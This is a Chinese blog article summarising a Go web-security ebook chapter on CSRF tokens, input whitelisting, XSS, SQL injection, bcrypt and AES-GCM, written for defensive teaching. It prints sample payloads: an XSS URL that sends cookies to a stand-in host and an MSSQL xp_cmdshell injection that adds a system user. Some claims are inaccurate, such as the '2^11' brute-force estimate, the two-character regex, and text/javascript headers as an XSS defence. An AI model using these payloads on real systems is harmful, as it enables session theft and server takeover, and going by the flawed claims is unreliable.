news 2026/10/6 7:46:23

使用 Go 构建安全 Web 应用:从 CSRF、XSS、SQL 注入到密码加密的完整防护指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
使用 Go 构建安全 Web 应用:从 CSRF、XSS、SQL 注入到密码加密的完整防护指南
  • 文档
  • 教程

【免费下载链接】build-web-application-with-golang

A golang ebook intro how to build a web with golang

项目地址:https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang
点击查看免费下载

导读

本章是开源电子书《Build Web Application with Golang》泰文版第 9 章(th/09.0.md)的安全主题概述,系统讲解了 Go Web 应用开发中最常见的四类安全威胁——CSRF(跨站请求伪造)、XSS(跨站脚本)、SQL 注入,以及密码存储与数据加解密。读完本文,你将掌握输入过滤的三个阶段、基于伪随机 token 的 CSRF 防护、白名单校验模式、bcrypt 密码哈希以及 AES-GCM 对称加解密等可直接落地的实战方案,并了解仓库中对应示例代码(th/code/src/apps/ch.4.4)的具体实现。

为什么 Web 安全如此重要

大多数 Web 应用的安全性取决于对第三方数据的处理方式。CSDN、LinkedIn、Yahoo 等网站都曾因用户密码数据泄露而蒙受巨大损失,这些事件足以说明安全防护的紧迫性。作为 Go 开发者,我们必须意识到应用中存在的漏洞,并主动采取预防措施,防止攻击者接管系统。

现代 Web 应用中的大部分安全问题都源于第三方提供的数据:

  • 用户输入未经验证与净化:如果直接存入数据库,再原样输出给客户端,就可能引发 XSS 攻击(详见 9.3 节);
  • 不安全数据直接拼入 SQL 查询:可能导致 SQL 注入攻击(详见 9.4 节);
  • 请求伪造:仅仅过滤输入、转义输出并不能解决所有问题,CSRF 攻击(9.1 节)正是如此——攻击者利用网站信任的用户身份,在用户不知情的情况下传输未经授权的命令;
  • 敏感数据泄露:密码等机密数据需要加密存储(9.5 节),需要双向解密的数据则应使用对称加密算法(9.6 节)。

总体思路是:使用第三方数据(包括用户提交的数据)时,先通过过滤验证数据的完整性。

CSRF 跨站请求伪造:原理与防护

什么是 CSRF

CSRF 与 XSRF 均指 Cross-site request forgery(跨站请求伪造),也被称为"one click attack"(一键攻击)或 "session riding"(会话骑乘)。攻击过程大致是:攻击者通过社会工程学手段(例如利用 QQ 聊天软件向受害者发送恶意链接),诱骗已登录信任网站 A 的用户访问危险链接 B,从而在用户不知情的情况下向目标网站发起恶意请求。一个典型的后果是:受害者登录网上银行后未退出,点击恶意链接即可能被盗取全部账户资金。当被攻击的终端用户拥有管理员权限时,整个 Web 应用都将面临威胁。

CSRF 攻击的两个必要步骤

从 th/images/9.1.csrf.png 所示的攻击流程图可以看出,一次成功的 CSRF 攻击要求受害者完成两个步骤:

  1. 登录受信任的网站 A,并在本地保存 Cookie;
  2. 在不离开网站 A 的前提下,访问包含危险链接的网站 B。

你可能认为只要不满足上述两个条件就不会被攻击,但现实中无法保证:

  • 登录某个网站时,该网站不会暗中发起隐藏的标签页请求;
  • 关闭浏览器后,Cookie 会立即过期、会话立刻结束;
  • 高流量、受信任的网站不存在可利用的 CSRF 漏洞。

CSRF 攻击之所以成立,根源在于用户认证机制本身:服务器可以合理确信请求来自用户的浏览器,却无法证明用户已授权该请求。

服务端防护:两大原则

CSRF 的防御可以同时在客户端与服务端进行,但服务端防御最有效。绝大多数服务端防御手段都围绕以下两点展开:

  1. 正确使用 GET、POST 与 Cookie:GET 仅用于查看信息而不改变数据;POST 用于下单、修改资源属性等写操作。例如用 Go 的 mux 路由限制资源访问方式:
mux.Get("/user/:uid", getuser) mux.Post("/user/:uid", modifyuser)

由于修改操作只允许 POST,当请求以 GET 方式发出时可直接拒绝响应,从而阻断利用 GET 发起的 CSRF 攻击。但 POST 同样可以被伪造,所以还需要第二步。

  1. 在非 GET 请求中加入伪随机数:通常有两种做法:
    • 为每个用户生成唯一的伪随机 Cookie token,所有表单都包含该值。由于攻击者理论上无法读取第三方 Cookie,未知随机值的伪造表单必然验证失败;
    • 不同表单使用不同的伪随机值,这与第 4.4 节"如何防止表单重复提交"的思路一致,可直接复用相关代码。

仓库中的 token 实战实现

生成随机数 token(原文档示例):

h := md5.New() io.WriteString(h, strconv.FormatInt(crutime, 10)) io.WriteString(h, "ganraomaxxxxxxxxx") token := fmt.Sprintf("%x", h.Sum(nil)) t, _ := template.ParseFiles("login.gtpl") t.Execute(w, token)

在表单中输出 token:

<input type="hidden" name="token" value="{{.}}">

提交时认证 token:

r.ParseForm() token := r.Form.Get("token") if token != "" { // 验证 token 的合法性 } else { // 错误:token 不存在 }

仓库中 th/code/src/apps/ch.4.4/nonce/main.go 给出了更完整的 nonce(一次性使用的随机数)实现:createToken()以当前时间戳time.Now().Unix()和rand.Int63()随机数为输入,经 MD5 摘要生成 32 位十六进制 token;Nonces结构用map[string]bool跟踪已使用 token,CheckThenMarkToken则先校验再标记,同时防止重复提交与伪造提交:

func createToken() string { h := md5.New() now := time.Now().Unix() io.WriteString(h, strconv.FormatInt(now, 10)) io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) return fmt.Sprintf("%x", h.Sum(nil)) }

th/code/src/apps/ch.4.4/main.go 中的checkProfile处理器演示了完整的服务端校验链路:先r.ParseForm()取出 token,再调用submissions.CheckThenMarkToken(token)判断 token 是否存在、是否重复使用,只有通过校验才继续处理表单数据。关于伪随机 token 的破解难度:由于采用 MD5 摘要,暴力破解需要约 2 的 11 次方量级的计算,实际破解几乎不可能。

输入过滤:安全的第一道防线

过滤用户数据是提升 Web 应用安全性最有效的手段之一,目的是验证输入数据的合法性,避免恶意代码或数据被错误执行或存储。绝大多数 Web 应用漏洞都源于忽视输入过滤、盲目信任输入。过滤过程分为三个阶段:

  1. 识别数据:搞清数据从哪里来;
  2. 过滤数据:判断接收到的数据是什么类型;
  3. 区分已过滤数据与污染数据:过滤完成后,确保进入应用的数据是安全的。

识别数据来源

在 Go 中,用户通过 POST 提交的表单数据很容易识别:调用r.ParseForm后,全部数据都位于r.Form中。而其他输入则难以识别——例如r.Header中的许多字段常被客户端篡改,因此应默认将所有 Header 视为已污染数据。即便是r.Header.Get("Accept-Charset")这类通常由浏览器操纵的字段,也应视作用户输入。

过滤手段与原则

过滤数据有许多方式,安全性各异。最佳做法是检查数据本身是否符合应用规定的合法要求,且切勿尝试"修正"非法数据——修正行为可能让攻击者利用你的校验规则反噬系统。一个经典反例:银行系统要求 6 位密码并校验长度,若校验规则对过短密码自动补 0,攻击者只需猜中前几位数字即可登录成功。历史上大量漏洞正是源于"修正非法数据"的思路。

Go 标准库提供了丰富的过滤工具:

  • strconv:将r.Form中的字符串值转换为特定类型,常用转换包括Atoi、ParseBool、ParseFloat、ParseInt;
  • strings:提供Trim、ToLower、ToTitle等函数,可按需获得特定格式的数据;
  • regexp:处理更复杂的校验场景,如判断输入是否为邮箱地址、生日等。

在过滤之外再叠加认证手段效果更佳。**白名单(whitelisting)**是一种确认输入合法性的好方法:采用白名单后,一旦出错只可能是"输入非法",而不是相反——把非法数据误判为合法。虽然白名单可能误伤合法数据,但这种"宁可错杀"的策略远比放行非法数据更安全。

区分过滤数据与污染数据:CleanMap 模式

过滤完成后,还需要区分已过滤与未过滤的数据,以保证过滤流程的完整性且不影响原始输入。做法是将所有已过滤数据放入全局 map 变量CleanMap,并遵循两条规则:

  • 每个请求必须将CleanMap初始化为空 map;
  • 防止外部数据源引入名为CleanMap的变量污染应用。

以下表单只允许提交三个预设选项之一:

<form action="/whoami" method="POST"> Who am I: <select name="name"> <option value="astaxie">astaxie</option> <option value="herry">herry</option> <option value="marry">marry</option> </select> <input type="submit" /> </form>

不要天真地以为用户只能提交三个选项之一——POST 请求完全可以被模拟,例如提交name = attack即可注入非法数据。用白名单防御:

r.ParseForm() name := r.Form.Get("name") CleanMap := make(map[string]interface{}, 0) if name == "astaxie" || name == "herry" || name == "marry" { CleanMap["name"] = name }

上述代码初始化CleanMap,仅当名字命中白名单(astaxie、herry、marry)时才赋值,保证CleanMap["name"]中存放的是已验证值。也可以在if后附加else分支处理非法数据(如重新渲染表单并提示错误),但不要过度宽容,否则可能污染CleanMap。

对于"用户名只能由字母和数字组成"这类格式校验,可用 regexp 实现:

r.ParseForm() username := r.Form.Get("username") CleanMap := make(map[string]interface{}, 0) if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { CleanMap["username"] = username }

XSS 跨站脚本攻击:动态内容的代价

随着互联网技术发展,Web 应用大量引入随用户请求与操作变化的动态内容,而动态网站恰恰容易遭受 XSS 攻击,静态网站则完全不受影响。

什么是 XSS

XSS 是 Cross-Site Scripting(跨站脚本)的缩写,为避免与 CSS(层叠样式表)混淆,用 X 代替 C。XSS 是常见的 Web 安全漏洞,允许攻击者向网页注入恶意代码。与大多数只涉及攻击者与受害者双方的传统攻击不同,XSS 涉及三方:攻击者、客户端与 Web 应用。其核心目标通常是窃取 Web 应用存放在客户端浏览器中的 Cookie,进而读取敏感信息、冒充用户交互。

XSS 通常分为两类:

  • 存储型 XSS(Stored XSS):用户可在公开页面输入数据,服务端保存后,未经转义地返回给其他浏览者。常见受影响页面包括评论、评价、博客文章、留言板。攻击者输入 HTML 加隐藏的<script>恶意标签并保存,应用将其写入数据库;其他用户请求该页面时,应用从数据库取出污染数据直接输出,恶意脚本随即在客户端执行。
  • 反射型 XSS(Reflected XSS):将恶意脚本直接嵌入 URL 查询参数中,服务器立即将数据解析进结果页并原样返回给请求方。攻击者向用户发送伪装成可信网站链接的编码负载,点击后浏览器即执行恶意脚本。

XSS 的主要危害手段与后果包括:

  • 窃取 Cookie、访问敏感信息;
  • 利用 Flash 的跨域权限获得更高用户权限(Java、VBScript 等类似攻击向量同理);
  • 利用 iframe、frame、XMLHttpRequest 等冒充用户执行发微博、加好友、发私信等操作(新浪微博曾因此类漏洞遭攻击);
  • 大量用户访问被攻击页面时,对小网站可造成近似 DDoS 的效果。

XSS 攻击原理

Web 应用在将请求数据返回给用户前若不加检查与过滤,恶意用户注入的脚本(通常内嵌在 HTML 的<script>标签中)就会被渲染到其他用户的浏览器上并被执行——这就是 XSS 的定义,也是 XSS 漏洞最常见的成因。

以反射型 XSS 为例:某网站根据 URL 查询参数输出用户名,访问http://127.0.0.1/?name=astaxie会输出hello astaxie。若改为访问http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>,浏览器弹出 alert 对话框即说明存在 XSS 漏洞。

窃取 Cookie 的攻击 URL 形如:

http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;

点击该链接后,当前 Cookie 会被发送到www.xxx.com。虽然这种 URL 会让多数人起疑,但攻击者常借助 URL 缩短服务等方式混淆链接,点击后 Cookie 数据已发送给第三方。可用 Websleuth 等工具审计应用是否存在此类漏洞。

XSS 防御手段

防御原则很简单:绝不信任用户输入,始终过滤接收到的所有输入中的特殊字符。具体技术包括:

  • 过滤特殊字符:Go 的text/template包提供 HTML 过滤函数,如HTMLEscapeString、JSEscapeString等;
  • 在 HTTP 头中指定内容类型:
w.Header().Set("Content-Type", "text/javascript")

此举让客户端浏览器按 JavaScript 代码解析响应并施加必要的过滤,而不是以未指定、潜在危险的方式渲染内容。

SQL 注入:最普遍的脚本注入漏洞

SQL 注入是 Web 开发中最常见的脚本注入类漏洞:攻击者可借此获取数据库敏感信息,甚至向数据库添加用户、导出私密文件、获取系统最高权限。成因是Web 应用未有效过滤用户输入,攻击者提交恶意 SQL 查询代码,改变原始查询逻辑并在应用执行查询时被一并执行。

注入示例

以一个简单的登录表单为例:

<form action="/login" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="Login" /></p> </form>

表单处理代码直接拼接字符串:

username := r.Form.Get("username") password := r.Form.Get("password") sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"

如果用户输入:

myuser' or 'foo' = 'foo' --

SQL 变为:

SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

在 SQL 中--之后是注释,攻击者插入--即可彻底改变查询语义,无需密码即可登录。

MSSQL 存在更危险的注入方式,甚至可以执行系统命令:

sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'" Db.Exec(sql)

若攻击者提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' --作为prod,SQL 变成:

SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'

MSSQL 服务将执行用户提供的prod变量中的命令,向系统添加新用户;若程序以足够权限运行且 MSSQLSERVER 服务权限充分,攻击者即可注册系统账户并访问该机器。需要强调的是:上述示例虽针对特定数据库,但其他数据库系统同样可能遭受类似攻击——注入原理相同,手法可能各异。

六条防注入建议

  1. 严格限制数据库操作权限:用户仅拥有完成工作所需的最小权限集,最大限度降低注入风险;
  2. 校验输入数据格式:严格限制可提交的变量类型,可用 regexp 匹配,或用 strconv 将字符串转为其他基本类型进行净化与评估;
  3. 转义特殊字符对:在持久化前对'"\&*;等特殊字符进行转码或转义,Go 的text/template包提供HTMLEscapeString函数可返回转义后的 HTML;
  4. 使用数据库的参数化查询接口:参数化语句用占位符替代嵌入 SQL 中的用户输入变量,不再直接拼接 SQL。例如 Go 的database/sql包中可用Prepare创建预编译语句,再用Query或Exec(query string, args ...interface{})执行;
  5. 上线前用专业工具全面测试:使用 sqlmap、SQLninja 等开源工具检测并修复 SQL 注入漏洞;
  6. 避免在公开页面输出 SQL 错误信息:类型错误、字段不匹配错误或含 SQL 语句的错误信息都会成为攻击者的线索。

密码存储:从单向哈希到 bcrypt

许多知名网站(如 LinkedIn、CSDN)都发生过密码数据泄露事件,且现代用户常在不同网站复用同一密码,影响面被进一步放大。作为 Web 开发者,选择正确的密码存储方案至关重要。

糟糕方案:裸单向哈希 + 彩虹表

目前最普遍的存储方案是先将明文密码做单向哈希。单向哈希最重要的特性是无法从哈希值反推原始数据,常用算法包括 SHA-256、SHA-1、MD5。Go 中的用法如下:

// import "crypto/sha256" h := sha256.New() io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") fmt.Printf("% x", h.Sum(nil)) // import "crypto/sha1" h := sha1.New() io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") fmt.Printf("% x", h.Sum(nil)) // import "crypto/md5" h := md5.New() io.WriteString(h, "需要加密的密码") fmt.Printf("%x", h.Sum(nil))

单向哈希有两个关键特性:

  1. 给定密码的哈希摘要始终唯一确定;
  2. 计算速度极快——随着硬件进步,每秒可完成数十亿次哈希计算。

两者结合意味着:大多数用户使用常见密码的组合,攻击者可以预先计算所有常见密码的哈希值(即彩虹表 rainbow table)与泄露数据库中的哈希比对,从而还原明文密码。因此,仅用单向哈希存储密码是不够的——数据库一旦泄露,原始密码就可能公之于众。

好方案:代价可控的慢哈希(bcrypt)

多年前,攻击者缺少计算大规模彩虹表的算力,单向哈希尚可抵挡多数攻击;但随着并行计算能力崛起,此类攻击越来越可行。正确的思路是刻意增加哈希计算的时间与资源开销,让攻击者无法承受构建彩虹表的成本。

在 Go 中推荐使用bcrypt包(golang.org/x/crypto/bcrypt,对应仓库中引用该包的示例风格)。bcrypt 在内部嵌入盐值(salt)并内置可调节的计算成本参数,天然抵御彩虹表与暴力破解。完整示例:

package main import ( "fmt" "log" "golang.org/x/crypto/bcrypt" ) func main() { userPassword1 := "some user-provided password" // 根据用户密码生成待存储的 "hash" hash, err := bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost) if err != nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Println("Hash to store:", string(hash)) // 将此 "hash" 存入数据库 // 一段时间后,用户登录,需要校验其输入的密码 userPassword2 := "some user-provided password" hashFromDatabase := hash // 比较密码与哈希 if err := bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err != nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Println("Password was correct!") }

其中bcrypt.DefaultCost为默认计算强度,强度越高,攻击者预计算彩虹表越困难,甚至不可行。CompareHashAndPassword用于登录时比对用户输入与库中哈希。

给开发者的两条建议

  1. 作为普通互联网用户,推荐使用 LastPass 等密码管理器生成并保存密码,且不同网站使用不同密码;
  2. 作为 Go Web 开发者,务必采用经过充分测试的专业方案(如 bcrypt)存储用户密码。

数据加解密:AES-GCM 对称加密

单向哈希适合存储密码这类"只存不读"的数据,但有时需要修改数据库中已存储的敏感加密数据,此时必须使用对称加密算法。Go 在crypto包中支持对称加密算法。如果不清楚自己在做什么,除 AES 的 GCM 模式外不要使用其他模式!

crypto/aes包实现了 AES(Advanced Encryption Standard,又称 Rijndael 加密法),是美国联邦政府采用的块加密标准。以下示例演示 AES-GCM 模式的加密与解密:

package main import ( "crypto/aes" "crypto/cipher" "crypto/rand" "errors" "fmt" "io" "log" ) func main() { text := []byte("My name is Astaxie") key := []byte("the-key-has-to-be-32-bytes-long!") ciphertext, err := encrypt(text, key) if err != nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Printf("%s => %x\n", text, ciphertext) plaintext, err := decrypt(ciphertext, key) if err != nil { // TODO: 妥善处理错误 log.Fatal(err) } fmt.Printf("%x => %s\n", ciphertext, plaintext) } func encrypt(plaintext []byte, key []byte) ([]byte, error) { c, err := aes.NewCipher(key) if err != nil { return nil, err } gcm, err := cipher.NewGCM(c) if err != nil { return nil, err } nonce := make([]byte, gcm.NonceSize()) if _, err = io.ReadFull(rand.Reader, nonce); err != nil { return nil, err } return gcm.Seal(nonce, nonce, plaintext, nil), nil } func decrypt(ciphertext []byte, key []byte) ([]byte, error) { c, err := aes.NewCipher(key) if err != nil { return nil, err } gcm, err := cipher.NewGCM(c) if err != nil { return nil, err } nonceSize := gcm.NonceSize() if len(ciphertext) < nonceSize { return nil, errors.New("ciphertext too short") } nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] return gcm.Open(nil, nonce, ciphertext, nil) }

关键实现细节:

  • aes.NewCipher的[]byte密钥长度必须为16、24 或 32 字节,分别对应AES-128、AES-192、AES-256算法;返回的cipher.Block接口实现了三个方法:
type Block interface { // BlockSize 返回密码块大小 BlockSize() int // Encrypt 将 src 中的第一个块加密到 dst 中 // dst 与 src 可以指向同一块内存 Encrypt(dst, src []byte) // Decrypt 将 src 中的第一个块解密到 dst 中 // dst 与 src 可以指向同一块内存 Decrypt(dst, src []byte) }
  • 加密时通过crypto/rand生成随机的 nonce(一次性随机数),并作为密文前缀返回;解密时先从密文头部取出 nonce 再执行gcm.Open,确保同一密钥下每次加密输出不同密文;
  • GCM 模式同时提供机密性与完整性校验(认证),这是它被推荐用于 Web 应用的原因。

本章总结

本章系统覆盖了 CSRF、XSS、SQL 注入三类攻击:多数 Web 应用因输入过滤不足而暴露于这些攻击之下,因此除介绍攻击原理外,本章也给出了过滤用户数据、防范攻击的实用技术。随后讨论了安全存储用户密码的方法——从适用于宽松安全需求场景的单向哈希,到更严肃应用场景的密码加盐与加密算法;最后简要探讨了对称加密与敏感数据的加解密。

本章的最终目标是帮助读者增强对现代 Web 应用安全问题的意识,在规划与设计应用时更加审慎,写出能防止黑客利用用户数据的系统。Go 语言拥有庞大而设计精良的反攻击工具包,每个 Go 开发者都应善用这些标准库与生态包(如text/template的转义函数、database/sql的预编译语句、golang.org/x/crypto/bcrypt、crypto/aes等)来加固自己的 Web 应用。

延伸阅读

  • 本章目录:th/09.0.md
  • 上一章小结:第八章 总结
  • 下一节:CSRF 攻击
  • 再下一节:过滤输入
  • 反例的完整可运行示例(token 防重复提交):th/code/src/apps/ch.4.4/main.go、th/code/src/apps/ch.4.4/nonce/main.go
  • 文档
  • 教程

【免费下载链接】build-web-application-with-golang

A golang ebook intro how to build a web with golang

项目地址:https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang
点击查看免费下载
上一篇:3分钟掌握Res-Downloader:全网资源智能嗅探下载完全指南
下一篇:揭秘KMS_VL_ALL_AIO:一站式Windows与Office批量激活的终极解决方案

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/6 7:45:34

深入栈与队列的概念和底层结构实现(数组 vs 链表)

&#x1f539;博主名称&#xff1a;_Doubletful大家好&#xff0c;欢迎来到Doubletful的博客&#x1faa2;博主的GitHub&#xff1a;Go to git_hub&#x1f4a0;数据结构专栏&#x1f537;路漫漫其修远兮&#xff0c;吾将上下而求索文章目录前言栈专题一、概念二、代码实现准备…

作者头像 李华
网站建设 2026/10/6 7:45:05

VMware 克隆 CentOS 虚拟机后网卡 eth0 消失的修复指南(CentOS 6 / CentOS 7)

文档教程技术博客 【免费下载链接】Linux-Tutorial 《Java 程序员眼中的 Linux》 项目地址&#xff1a; https://gitcode.com/gh_mirrors/li/Linux-Tutorial 点击查看 免费下载 克隆虚拟机是批量搭建 CentOS 测试环境最常用的手段&#xff0c;但克隆出来的系统启动后常常发现原…

作者头像 李华
网站建设 2026/10/6 7:41:06

【银河麒麟】桌面系统配置auditd审计,监测异常被删的文件

1.系统右击打开终端&#xff0c;确认是否开启auditd服务&#xff0c;命令如下&#xff1a;systemctl status auditd 如果看到绿色的active(running)即为服务已开启2.在终端中输入以下命令确认服务是否开机自启:systemctl is-enabled auditd 如果返回结果为enabled即为开机自启3…

作者头像 李华